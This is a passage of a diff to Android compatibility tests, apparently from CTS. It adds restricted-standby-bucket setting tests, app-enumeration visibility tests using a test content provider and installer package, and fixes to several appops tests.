+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, mCachedEnableRestrictedBucketSetting);
         // Force stop test package to avoid any running test code from carrying over to the next run
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
         mUiDevice.pressHome();
@@ -179,16 +179,20 @@
         executeShellCmd(MessageFormat.format(APPOPS_SET_SHELL_COMMAND, mTargetPackage, mode));
     }
 
-    private String getUsageSourceSetting() throws Exception {
-        return executeShellCmd(USAGE_SOURCE_GET_SHELL_COMMAND);
+    private String getSetting(String name) throws Exception {
+        return executeShellCmd(GET_SHELL_COMMAND + name);
     }
 
-    private void setUsageSourceSetting(String usageSource) throws Exception {
-        if (usageSource.equals("null")) {
-            executeShellCmd(USAGE_SOURCE_DELETE_SHELL_COMMAND);
+    private void setSetting(String name, String setting) throws Exception {
+        if (setting == null || setting.equals("null")) {
+            executeShellCmd(DELETE_SHELL_COMMAND + name);
         } else {
-            executeShellCmd(MessageFormat.format(USAGE_SOURCE_SET_SHELL_COMMAND, usageSource));
+            executeShellCmd(SET_SHELL_COMMAND + name + " " + setting);
         }
+    }
+
+    private void setUsageSourceSetting(String value) throws Exception {
+        setSetting(Settings.Global.APP_TIME_LIMIT_USAGE_SOURCE, value);
         mUsageStatsManager.forceUsageSourceSettingRead();
     }
 
@@ -683,7 +687,9 @@
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
-    public void testUserForceIntoRestricted() throws IOException {
+    public void testUserForceIntoRestricted() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
         launchSubActivity(TaskRootActivity.class);
         assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
                 UsageStatsManager.STANDBY_BUCKET_ACTIVE,
@@ -700,7 +706,28 @@
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
-    public void testUserLaunchRemovesFromRestricted() throws IOException {
+    public void testUserForceIntoRestricted_BucketDisabled() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "0");
+
+        launchSubActivity(TaskRootActivity.class);
+        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+        // User force shouldn't have to deal with the timeout.
+        setStandByBucket(mTargetPackage, "restricted");
+        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+    }
+
+    // TODO(148887416): get this test to work for instant apps
+    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+    @Test
+    public void testUserLaunchRemovesFromRestricted() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+
         setStandByBucket(mTargetPackage, "restricted");
         assertEquals("User was unable to force an app into RESTRICTED bucket",
                 UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
@@ -712,6 +739,26 @@
                 mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
     }
 
+    /** Confirm the default value of {@link Settings.Global.ENABLE_RESTRICTED_BUCKET}. */
+    // TODO(148887416): get this test to work for instant apps
+    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
+    @Test
+    public void testDefaultEnableRestrictedBucketOff() throws Exception {
+        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, null);
+
+        launchSubActivity(TaskRootActivity.class);
+        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
+                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+        // User force shouldn't have to deal with the timeout.
+        setStandByBucket(mTargetPackage, "restricted");
+        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
+                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
+                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
+
+    }
+
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index bc8d224..5e210f1 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -48,6 +48,7 @@
         <option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
+        <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasProvider.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardBrowsableActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardContactsActivitySource.apk" />
         <option name="test-file-name" value="CtsAppEnumerationWildcardDocumentEditorActivitySource.apk" />
@@ -65,6 +66,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="CtsAppEnumerationNoApi.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationNoApi.apk" />
         <option name="push" value="CtsAppEnumerationFilters.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationFilters.apk" />
+        <option name="push" value="CtsAppEnumerationQueriesNothingSeesInstaller.apk->/data/local/tmp/cts/appenumeration/CtsAppEnumerationQueriesNothingSeesInstaller.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index 8c95b27..d7832c4 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -32,6 +32,18 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingSeesInstaller",
+    manifest: "AndroidManifest-queriesNothing-seesInstaller.xml",
+    defaults: ["CtsAppEnumerationQueriesDefaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationQueriesActivityViaAction",
     manifest: "AndroidManifest-queriesActivityAction.xml",
     defaults: ["CtsAppEnumerationQueriesDefaults"],
@@ -164,6 +176,18 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppEnumerationQueriesNothingHasProvider",
+    manifest: "AndroidManifest-queriesNothing-hasProvider.xml",
+    defaults: ["CtsAppEnumerationQueriesDefaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
     name: "CtsAppEnumerationSharedUidSource",
     manifest: "AndroidManifest-queriesNothing-sharedUser.xml",
     defaults: ["CtsAppEnumerationQueriesDefaults"],
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
new file mode 100644
index 0000000..1e94c1b
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasProvider.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.hasprovider">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+        <provider android:name="android.appenumeration.cts.query.TestProvider"
+                  android:authorities="android.appenumeration.queries.nothing.hasprovider"
+                  android:exported="true" >
+
+        </provider>
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
new file mode 100644
index 0000000..0126775
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-seesInstaller.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.appenumeration.queries.nothing.sees.installer">
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.appenumeration.cts.query.TestActivity"
+                  android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
index 3e9d789..a4ae8b2 100644
--- a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -43,25 +43,41 @@
 import android.content.IntentSender;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.PatternMatcher;
 import android.os.RemoteCallback;
 import android.util.SparseArray;
 
+import java.util.ArrayList;
+
 public class TestActivity extends Activity {
 
     SparseArray<RemoteCallback> callbacks = new SparseArray<>();
 
     private Handler mainHandler;
+    private Handler backgroundHandler;
+    private HandlerThread backgroundThread;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         mainHandler = new Handler(getMainLooper());
+        backgroundThread = new HandlerThread("testBackground");
+        backgroundThread.start();
+        backgroundHandler = new Handler(backgroundThread.getLooper());
         super.onCreate(savedInstanceState);
         handleIntent(getIntent());
     }
 
+    @Override
+    protected void onDestroy() {
+        backgroundThread.quitSafely();
+        super.onDestroy();
+    }
+
     private void handleIntent(Intent intent) {
         RemoteCallback remoteCallback = intent.getParcelableExtra(EXTRA_REMOTE_CALLBACK);
         try {
@@ -123,6 +139,9 @@
                 final String packageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 awaitPackageBroadcast(
                         remoteCallback, packageName, Intent.ACTION_PACKAGE_ADDED, 3000);
+            } else if (Constants.ACTION_QUERY_RESOLVER.equals(action)) {
+                final String authority = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+                queryResolverForVisiblePackages(remoteCallback, authority);
             } else {
                 sendError(remoteCallback, new Exception("unknown action " + action));
             }
@@ -199,6 +218,33 @@
         finish();
     }
 
+    private void queryResolverForVisiblePackages(RemoteCallback remoteCallback, String authority) {
+        backgroundHandler.post(() -> {
+            Uri queryUri = Uri.parse("content://" + authority + "/test");
+            Cursor query = getContentResolver().query(queryUri, null, null, null, null);
+            if (query == null || !query.moveToFirst()) {
+                sendError(remoteCallback,
+                        new IllegalStateException(
+                                "Query of " + queryUri + " could not be completed"));
+                return;
+            }
+            ArrayList<String> visiblePackages = new ArrayList<>();
+            while (!query.isAfterLast()) {
+                visiblePackages.add(query.getString(0));
+                query.moveToNext();
+            }
+            query.close();
+
+            mainHandler.post(() -> {
+                Bundle result = new Bundle();
+                result.putStringArray(EXTRA_RETURN_RESULT, visiblePackages.toArray(new String[]{}));
+                remoteCallback.sendResult(result);
+                finish();
+            });
+
+        });
+    }
+
     private void sendError(RemoteCallback remoteCallback, Exception failure) {
         Bundle result = new Bundle();
         result.putSerializable(EXTRA_ERROR, failure);
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java
new file mode 100644
index 0000000..b5bc7f0
--- /dev/null
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestProvider.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appenumeration.cts.query;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.net.Uri;
+
+import java.util.Collections;
+
+public class TestProvider extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        MatrixCursor matrixCursor = new MatrixCursor(new String[]{"seenPackage"}, 0);
+        getContext().getPackageManager().getInstalledPackages(0 /*flags*/).forEach(packageInfo -> {
+            matrixCursor.addRow(Collections.singletonList(packageInfo.packageName));
+        });
+        return matrixCursor;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index c24744f..aea7db5 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -43,10 +43,15 @@
     public static final String QUERIES_ACTIVITY_ACTION = PKG_BASE + "queries.activity.action";
     /** A package that has no queries but gets the QUERY_ALL_PACKAGES permission */
     public static final String QUERIES_NOTHING_PERM = PKG_BASE + "queries.nothing.haspermission";
+    /** A package that has no queries but has a provider that can be queried */
+    public static final String QUERIES_NOTHING_PROVIDER = PKG_BASE + "queries.nothing.hasprovider";
     /** A package that has no queries tag or permissions but targets Q */
     public static final String QUERIES_NOTHING_Q = PKG_BASE + "queries.nothing.q";
     /** A package that has no queries tag or permission to query any specific packages */
     public static final String QUERIES_NOTHING = PKG_BASE + "queries.nothing";
+    /** Another package that has no queries tag or permission to query any specific packages */
+    public static final String QUERIES_NOTHING_SEES_INSTALLER =
+            PKG_BASE + "queries.nothing.sees.installer";
     /** A package that queries nothing, but is part of a shared user */
     public static final String QUERIES_NOTHING_SHARED_USER = PKG_BASE + "queries.nothing.shareduid";
     /** A package that queries via wildcard action. */
@@ -82,6 +87,8 @@
     private static final String BASE_PATH = "/data/local/tmp/cts/appenumeration/";
     public static final String TARGET_NO_API_APK = BASE_PATH + "CtsAppEnumerationNoApi.apk";
     public static final String TARGET_FILTERS_APK = BASE_PATH + "CtsAppEnumerationFilters.apk";
+    public static final String QUERIES_NOTHING_SEES_INSTALLER_APK =
+            BASE_PATH + "CtsAppEnumerationQueriesNothingSeesInstaller.apk";
 
     public static final String[] ALL_QUERIES_TARGETING_R_PACKAGES = {
             QUERIES_NOTHING,
@@ -127,9 +134,12 @@
             PKG_BASE + "cts.action.GET_INSTALLED_PACKAGES";
     public static final String ACTION_START_SENDER_FOR_RESULT =
             PKG_BASE + "cts.action.START_SENDER_FOR_RESULT";
+    public static final String ACTION_QUERY_RESOLVER =
+            PKG_BASE + "cts.action.QUERY_RESOLVER_FOR_VISIBILITY";
 
     public static final String EXTRA_REMOTE_CALLBACK = "remoteCallback";
     public static final String EXTRA_ERROR = "error";
     public static final String EXTRA_FLAGS = "flags";
     public static final String EXTRA_DATA = "data";
+    public static final String EXTRA_AUTHORITY = "authority";
 }
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index fe9b79d..b63a1c4 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -23,6 +23,7 @@
 import static android.appenumeration.cts.Constants.ACTION_MANIFEST_SERVICE;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_ACTIVITIES;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_PROVIDERS;
+import static android.appenumeration.cts.Constants.ACTION_QUERY_RESOLVER;
 import static android.appenumeration.cts.Constants.ACTION_QUERY_SERVICES;
 import static android.appenumeration.cts.Constants.ACTION_START_DIRECTLY;
 import static android.appenumeration.cts.Constants.ACTION_START_FOR_RESULT;
@@ -35,7 +36,10 @@
 import static android.appenumeration.cts.Constants.QUERIES_ACTIVITY_ACTION;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PERM;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_PROVIDER;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_Q;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER;
+import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SEES_INSTALLER_APK;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_SHARED_USER;
 import static android.appenumeration.cts.Constants.QUERIES_PACKAGE;
 import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_ACTION;
@@ -65,6 +69,7 @@
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
 import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.core.Is.is;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThat;
@@ -75,6 +80,7 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
 import android.net.Uri;
@@ -92,6 +98,7 @@
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.hamcrest.core.IsNull;
+import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Assert;
 import org.junit.BeforeClass;
@@ -100,6 +107,8 @@
 import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 
+import java.io.OutputStream;
+import java.util.Arrays;
 import java.util.Objects;
 import java.util.UUID;
 import java.util.concurrent.TimeUnit;
@@ -306,6 +315,21 @@
     }
 
     @Test
+    public void queriesNothing_canSeeInstaller() throws Exception {
+        runShellCommand("pm uninstall " + QUERIES_NOTHING_SEES_INSTALLER);
+        runShellCommand("pm install"
+                + " -i " + TARGET_NO_API
+                + " --pkg " + QUERIES_NOTHING_SEES_INSTALLER
+                + " " + QUERIES_NOTHING_SEES_INSTALLER_APK);
+        try {
+            assertVisible(QUERIES_NOTHING_SEES_INSTALLER, TARGET_NO_API);
+        } finally {
+            runShellCommand("pm uninstall " + QUERIES_NOTHING_SEES_INSTALLER);
+        }
+    }
+
+
+    @Test
     public void whenStarted_canSeeCaller() throws Exception {
         // let's first make sure that the target cannot see the caller.
         assertNotVisible(QUERIES_NOTHING, QUERIES_NOTHING_PERM);
@@ -430,6 +454,22 @@
         }
     }
 
+    @Test
+    public void queriesResolver_grantsVisibilityToProvider() throws Exception {
+        assertNotVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
+
+        String[] result = sendCommandBlocking(
+                QUERIES_NOTHING_PERM, QUERIES_NOTHING_PROVIDER, null, ACTION_QUERY_RESOLVER)
+                .getStringArray(Intent.EXTRA_RETURN_RESULT);
+        Arrays.sort(result);
+        assertThat(QUERIES_NOTHING_PERM + " not visible to " + QUERIES_NOTHING_PROVIDER
+                        + " during resolver interaction",
+                Arrays.binarySearch(result, QUERIES_NOTHING_PERM),
+                greaterThanOrEqualTo(0));
+
+        assertVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
+    }
+
     private void assertNotVisible(String sourcePackageName, String targetPackageName)
             throws Exception {
         if (!sGlobalFeatureEnabled) return;
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
index 832eb49..100b9af 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AppOpsUserService.kt
@@ -107,10 +107,10 @@
 
                     setNotedAppOpsCollector()
 
-                    assertThat(asyncNoted).isEmpty()
+                    assertThat(noted).isEmpty()
                     assertThat(selfNoted).isEmpty()
                     eventually {
-                        assertThat(noted.map { it.first.op }).containsExactly(OPSTR_COARSE_LOCATION)
+                        assertThat(asyncNoted.map { it.op }).containsExactly(OPSTR_COARSE_LOCATION)
                     }
                 }
             }
diff --git a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
index 222059f..3dd5c21 100644
--- a/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
+++ b/tests/tests/appop/AppThatUsesAppOps/src/android/app/appops/cts/appthatusesappops/AutoClosingActivity.kt
@@ -21,6 +21,8 @@
 
 class AutoClosingActivity : Activity() {
     override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
         finish()
     }
 }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index 492ba9a9..ea20c6d 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -658,6 +658,8 @@
     fun getWallpaper() {
         val wallpaperManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
                 .getSystemService(WallpaperManager::class.java)
+        assumeTrue("Device does not support wallpaper",
+                wallpaperManager.isWallpaperSupported())
 
         wallpaperManager.getWallpaperFile(FLAG_SYSTEM)
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
index 995d4d7..4862717 100644
--- a/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/HistoricalAppopsTest.kt
@@ -107,7 +107,7 @@
     @Test
     fun testRebootHistory() {
         // Configure historical registry behavior.
-        appOpsManager.setHistoryParameters(
+        setHistoryParameters(
                 AppOpsManager.HISTORICAL_MODE_ENABLED_PASSIVE,
                 SNAPSHOT_INTERVAL_MILLIS,
                 INTERVAL_COMPRESSION_MULTIPLIER)
@@ -116,7 +116,7 @@
         val chunk = createDataChunk()
         val chunkCount = (INTERVAL_COMPRESSION_MULTIPLIER * 2) + 3
         for (i in 0 until chunkCount) {
-            appOpsManager.addHistoricalOps(chunk)
+            addHistoricalOps(chunk)
         }
 
         // Validate the data for the first interval
@@ -134,14 +134,16 @@
         assertHasCounts(secondOps!!, 33)
 
         // Validate the data for all intervals
-        val everythingIntervalBeginMillis = Instant.EPOCH.toEpochMilli();
-        val everythingIntervalEndMillis = Long.MAX_VALUE;
+        val everythingIntervalBeginMillis = Instant.EPOCH.toEpochMilli()
+        val everythingIntervalEndMillis = Long.MAX_VALUE
         var allOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
                 everythingIntervalBeginMillis, everythingIntervalEndMillis)
         assertHasCounts(allOps!!, 230)
 
         // Now reboot the history
-        appOpsManager.rebootHistory(firstIntervalEndMillis);
+        runWithShellPermissionIdentity {
+            appOpsManager.rebootHistory(firstIntervalEndMillis)
+        }
 
         // Validate the data for the first interval
         firstOps = getHistoricalOpsFromDiskRaw(uid, packageName, null /*opNames*/,
@@ -160,7 +162,7 @@
 
         // Write some more ops to the first interval
         for (i in 0 until chunkCount) {
-            appOpsManager.addHistoricalOps(chunk)
+            addHistoricalOps(chunk)
         }
 
         // Validate the data for the first interval
@@ -298,23 +300,26 @@
                 null)
         appOpsManager.noteOp(OPSTR_REQUEST_DELETE_PACKAGES, uid, packageName, "secondAttribution",
                 null)
+        var memOps: AppOpsManager.HistoricalOps? = null
+        eventually(SNAPSHOT_INTERVAL_MILLIS / 2) {
+            memOps = getHistoricalOps(appOpsManager, uid = uid)!!
 
-        val memOps = getHistoricalOps(appOpsManager, uid = uid)!!
-
-        assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
-                .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(2)
-        assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getAttributedOps("firstAttribution")!!
-                .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
-                .isEqualTo(1)
-        assertThat(memOps.getUidOpsAt(0).getPackageOpsAt(0).getAttributedOps("secondAttribution")!!
-                .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
-                .isEqualTo(1)
+            assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+                    .getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!.getForegroundAccessCount(OP_FLAGS_ALL))
+                    .isEqualTo(2)
+            assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+                    .getAttributedOps("firstAttribution")!!.getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
+                    .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(1)
+            assertThat(memOps!!.getUidOpsAt(0).getPackageOpsAt(0)
+                    .getAttributedOps("secondAttribution")!!.getOp(OPSTR_REQUEST_DELETE_PACKAGES)!!
+                    .getForegroundAccessCount(OP_FLAGS_ALL)).isEqualTo(1)
+        }
 
         // Wait until data is on disk and verify no entry got lost
         Thread.sleep(SNAPSHOT_INTERVAL_MILLIS)
 
         val diskOps = getHistoricalOps(appOpsManager, uid = uid)!!
-        assertThat(diskOps.getUidOpsAt(0)).isEqualTo(memOps.getUidOpsAt(0))
+        assertThat(diskOps.getUidOpsAt(0)).isEqualTo(memOps?.getUidOpsAt(0))
     }
 
     private fun testHistoricalAggregationSomeLevelsDeep(depth: Int) {
@@ -542,7 +547,7 @@
 
         if (count <= 0) {
             assertThat(ops.uidCount).isEqualTo(0)
-            return;
+            return
         }
 
         assertThat(ops.uidCount).isEqualTo(1)
diff --git a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
index 1d14a77..9f785b8 100644
--- a/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/RuntimeMessageCollectionTest.kt
@@ -29,7 +29,6 @@
 private const val APK_PATH = "/data/local/tmp/cts/appops/"
 
 private const val APP_PKG = "android.app.appops.cts.apptocollect"
-private const val MESSAGE = "Stack trace message"
 
 @AppModeFull(reason = "Test relies on seeing other apps. Instant apps can't see other apps")
 class RuntimeMessageCollectionTest {
@@ -58,7 +57,7 @@
             val start = System.currentTimeMillis()
             runWithShellPermissionIdentity {
                 appOpsManager.noteOp(AppOpsManager.OPSTR_READ_CONTACTS, appUid, APP_PKG,
-                        TEST_ATTRIBUTION_TAG, MESSAGE)
+                        TEST_ATTRIBUTION_TAG, null)
             }
             while (System.currentTimeMillis() - start < TIMEOUT_MILLIS) {
                 sleep(200)
@@ -71,7 +70,7 @@
                         assertThat(message.op).isEqualTo(AppOpsManager.OPSTR_READ_CONTACTS)
                         assertThat(message.uid).isEqualTo(appUid)
                         assertThat(message.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
-                        assertThat(message.message).isEqualTo(MESSAGE)
+                        assertThat(message.message).isNotNull()
                         return
                     }
                 }
diff --git a/tests/tests/batterysaving/AndroidTest.xml b/tests/tests/batterysaving/AndroidTest.xml
index a1d5808..5f32612 100644
--- a/tests/tests/batterysaving/AndroidTest.xml
+++ b/tests/tests/batterysaving/AndroidTest.xml
@@ -23,6 +23,8 @@
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <!-- Disable keyguard -->
+        <!-- Though keyguard is disabled globally in cts-preconditions.xml, the
